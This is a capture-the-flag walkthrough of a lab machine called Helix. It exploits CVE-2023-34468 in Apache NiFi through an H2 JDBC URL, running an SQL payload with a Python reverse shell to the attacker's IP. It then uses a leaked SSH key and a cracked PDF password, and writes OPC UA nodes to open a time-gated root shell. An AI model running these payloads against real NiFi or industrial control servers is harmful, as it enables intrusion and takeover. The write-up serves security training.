Introduction #
Helix starts with a public Apache NiFi instance behind a subdomain, wide open to anonymous access with write permissions to boot. That’s an easy CVE-2023-34468 RCE via a malicious H2 JDBC connection, landing a shell as nifi. From there, a leftover SSH key in the NiFi support bundles hands over the operator account. Root is the fun part: a maintenance console script only opens a root shell if an OPC UA-controlled “maintenance window” is active, so it’s a matter of cracking a password-protected PDF for context, then talking to the OPC UA server on localhost to flip the right nodes and trick the system into thinking it needs maintenance.
nmap #
nmap finds two open TCP ports, SSH (22) and HTTP (80):
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.245.123
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPTJ+LkpmuH2sQS9dhqnvmpl1NhudGQHvIxfw5Qrhj2MEU4J7VXSPAt/OPas+zeYGU8XOWgNtfnJjHEYe3XsLII=
| 256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGYnLTVO7QjbF2nWYA4R9O3DaSGllmNuBdWKKZyZxMZS
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://helix.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add helix.htb to /etc/hosts
Web #
As usual there is nice looking semi-working website

But aside from two forms that do not send anything to the backend there isn’t anything interesting on the main page.


So the next step - subdomains.
Subdomain #
└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://helix.htb/ -H 'Host: FUZZ.helix.htb' -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://helix.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Host: FUZZ.helix.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
flow [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 1145ms]
:: Progress: [220561/220561] :: Job [1/1] :: 378 req/sec :: Duration: [0:09:34] :: Errors: 0 ::
A discovered subdomain - flow.helix.htb - add to /etc/hosts and check what is there:

Browsing to the subdomain redirects to flow.helix.htb/nifi and shows an Apache NiFi instance.
Apache NiFi #
The NiFi dashboard was accessible without authentication and the anonymous user had write permissions enabled.
The About section shows it runs version 1.21.0

CVE-2023-34468 #
Googling for known vulnerabilities leads to CVE-2023-34468
To abuse this vulnerability requires only to have authenticated and authorized user, and I do have that.
There is a nice PoC with step by step guide.
First, I need to add a new controller service:

With these properties:

jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http\://10.10.15.89\:4444/rce.sql'
org.h2.Driver
work/nar/extensions/nifi-poi-nar-1.21.0.nar-unpacked/NAR-INF/bundled-dependencies/h2-2.1.214.jar
Next, add a processor:

with this settings:

RUNSCRIPT FROM 'HTTP://10.10.15.89:8081/rce.sql'
Add Output Port

Start a http server with hosted reverse shell:
└─$ cat rce.sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new
java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('python3 -c "import socket,subprocess,os;s=socket.socket();s.connect((\"10.10.15.89\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])"');
└─$ python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.245.123 - - [06/Aug/2026 05:34:26] "GET /rce.sql HTTP/1.1" 200 -
10.129.245.123 - - [06/Aug/2026 05:34:27] "GET /rce.sql HTTP/1.1" 200 -
10.129.245.123 - - [06/Aug/2026 05:34:28] "GET /rce.sql HTTP/1.1" 200 -
10.129.245.123 - - [06/Aug/2026 05:34:28] "GET /rce.sql HTTP/1.1" 200 -
And run it. Almost immediately I get a hit on the listener:
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.89] from (UNKNOWN) [10.129.245.123] 44446
bash: cannot set terminal process group (975): Inappropriate ioctl for device
bash: no job control in this shell
nifi@helix:/opt/nifi-1.21.0$ id
id
uid=998(nifi) gid=998(nifi) groups=998(nifi)
nifi@helix:/opt/nifi-1.21.0$
As a side note, I tried the exploit several times before I got it working, and I was thwarted by cache of sorts for some time. CREATE ALIAS was failing because the alias already existed from previous attempts.
The in-memory H2 DB (mem:testdb) persists as long as the connection pool keeps at least one connection open. Each new INIT script execution hits the CREATE ALIAS SHELLEXEC again, H2 throws an “alias already exists” error, the script aborts, and CALL SHELLEXEC(...) is never reached.
I got the rce.sql fetch but no execution.
To fix that I simply needed to add DROP ALIAS IF EXISTS SHELLEXEC; at the top:
└─$ cat rce.sql
DROP ALIAS IF EXISTS SHELLEXEC;
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new
java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('python3 -c "import socket,subprocess,os;s=socket.socket();s.connect((\"10.10.15.89\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])"');
Shell as Operator #
After getting the shell as nifi I comb through the nifi installation and discover a SSH private key:
nifi@helix:/opt/nifi-1.21.0/support-bundles$ cat operator_id_ed25519.bak
cat operator_id_ed25519.bak
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJn
WAAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOw
AAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
With that I can re-connect and get more stable environment.
There is an operator user I can try:
nifi@helix:/opt/nifi-1.21.0/support-bundles$ ls /home
ls /home
operator
And it worked:
└─$ nano id_rsa
└─$ chmod 600 id_rsa
└─$ ssh -i id_rsa operator@10.129.245.123
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64)
<SNIP>
Last login: Thu Aug 6 09:47:45 2026 from 10.10.15.89
operator@helix:~$
I can grab user flag and move to root:
operator@helix:~$ ls
'control systems diagram.png' 'Operator Control & Safety Guide.pdf' user.txt
operator@helix:~$ cat user.txt
0017e13900bdb4a4e0317033719f5cff
Root #
Starting with classic sudo -l I get one hit:
operator@helix:~$ sudo -l
Matching Defaults entries for operator on helix:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User operator may run the following commands on helix:
(root) NOPASSWD: /usr/local/sbin/helix-maint-console
I tried to run it, but got only this:
operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
Maintenance window CLOSED.
Looking at what it does:
operator@helix:~$ cat /usr/local/sbin/helix-maint-console
#!/bin/bash
set -euo pipefail
FLAG="/opt/helix/state/maintenance_window"
read_until() { cat "$FLAG" 2>/dev/null || true; }
window_ok() {
[ -f "$FLAG" ] || return 1
local until_ts now
until_ts="$(read_until)"
now="$(date +%s)"
[[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
[ "$now" -lt "$until_ts" ] || return 1
return 0
}
if ! window_ok; then
echo "Maintenance window CLOSED."
exit 1
fi
until_ts="$(read_until)"
now="$(date +%s)"
remaining=$((until_ts-now))
echo "[+] Privileged maintenance access granted"
echo "[!] Window expires in ${remaining} seconds"
echo "[!] Session will be terminated automatically"
# Unique scope name
SCOPE="helix-maint-$$"
# Launch an interactive root shell attached to THIS TTY, in its own systemd scope
systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group --property=SendSIGHUP=yes \
/bin/bash -p -i
# If systemd-run returns, the shell exited.
exit 0
It’s a time-gated privileged shell, essentially a sudo-replacement that only works during an active “maintenance window”.
How it works:
- It reads a Unix timestamp from
/opt/helix/state/maintenance_window. If the file doesn’t exist, or the timestamp is in the past, it printsMaintenance window CLOSED.and exits. No shell. - If the window is open it launches
/bin/bash -p -iviasystemd-run --scope. The-pflag is the key part: it tells bash to run in privileged mode, preserving the effective UID (root) rather than dropping it. So I get a full interactive root shell. - The systemd scope wraps the shell in its own
cgroupscope namedhelix-maint-<PID>. WithKillMode=control-groupandSendSIGHUP=yes, when the scope ends, everything in thatcgroupgets killed, basicly automatic session termination.
The obvious question is: Can I write to /opt/helix/state/maintenance_window?
Check it:
operator@helix:~$ ls -la /opt/helix/state/
ls: cannot access '/opt/helix/state/': Permission denied
operator@helix:~$ ls -la /opt/helix/
ls: cannot open directory '/opt/helix/': Permission denied
operator@helix:~$ ls -la /opt/
total 16
drwxr-xr-x 4 root root 4096 Jan 25 2026 .
drwxr-xr-x 19 root root 4096 May 5 10:17 ..
drwxr-x--- 9 root helixsvc 4096 May 5 10:18 helix
drwxrwxr-x 16 nifi nifi 4096 May 5 10:18 nifi-1.21.0
Unfortunately, it will not be that easy.
Checking what runs on the machine there are few interesting finds:
operator@helix:~$ ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 50 127.0.0.1:44897 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:8081 0.0.0.0:*
tcp LISTEN 0 50 127.0.0.1:8080 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 100 127.0.0.1:4840 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 50 [::ffff:127.0.0.1]:39601 *:*
Several internal-only services listening on localhost, including an OPC UA server running on port 4840.
OPC UA is used in industrial control and automation environments. This service could be responsible for controlling the maintenance window.
That would suggest the files in the operator's folder are not that useless :)
operator@helix:~$ ls
'control systems diagram.png' 'Operator Control & Safety Guide.pdf' user.txt
Download the files and see what they are:
└─$ scp -i id_rsa operator@10.129.245.123:/home/operator/'control systems diagram.png' ./
└─$ scp -i id_rsa operator@10.129.245.123:/home/operator/'Operator Control & Safety Guide.pdf' ./

The pdf is password protected. Crack it with john:
└─$ pdf2john Operator\ Control\ \&\ Safety\ Guide.pdf > pdf.hash
└─$ john pdf.hash --wordlist=~/Tools/rockyou.txt
└─$ john pdf.hash --show
Operator Control & Safety Guide.pdf:operator1
1 password hash cracked, 0 left
It was a boring read:




But I get some information about crucial areas:
CalibrationOffsetModeTestOverrideMaintenance Window
Forward the port 4840 and check what I can do with it:
└─$ ssh -L 4840:127.0.0.1:4840 -i id_rsa operator@10.129.245.123
First I wanted to enumerate everything:
import asyncio
from asyncua import Client
async def browse(node, indent=0):
try:
children = await node.get_children()
for child in children:
name = await child.read_browse_name()
try:
val = await child.read_value()
print(f"{' '*indent}{name.Name} = {val}")
except:
print(f"{' '*indent}{name.Name}/")
await browse(child, indent+1)
except:
pass
async def main():
async with Client("opc.tcp://127.0.0.1:4840") as c:
await browse(c.nodes.root)
asyncio.run(main())
There was tons of useless information I did not need in the end, but the script is nice. What I actually needed was just a few values buried there to open the maintenance window:
import asyncio
from asyncua import Client
async def main():
async with Client(url="opc.tcp://127.0.0.1:4840/helix/") as c:
mode = c.get_node("ns=2;i=12")
override = c.get_node("ns=2;i=13")
calib = c.get_node("ns=2;i=6")
await override.write_value(True)
await mode.write_value("MAINTENANCE")
await asyncio.sleep(2)
await calib.write_value(10.0)
await asyncio.sleep(3)
await calib.write_value(15.0)
asyncio.run(main())
With this, the system should feel compromised and the maintenance should be required …. and the maintenance window opened.
So, now just rerun the sudo /usr/local/sbin/helix-maint-console and hope for the window to be open and I should get root:
operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 106 seconds
[!] Session will be terminated automatically
root@helix:/home/operator# id
uid=0(root) gid=0(root) groups=0(root)
root@helix:/home/operator# cat /root/root.txt
97acac98f707cdfbb30aa918cb4793f8
root@helix:/home/operator#
It worked and I just need to grab the root flag.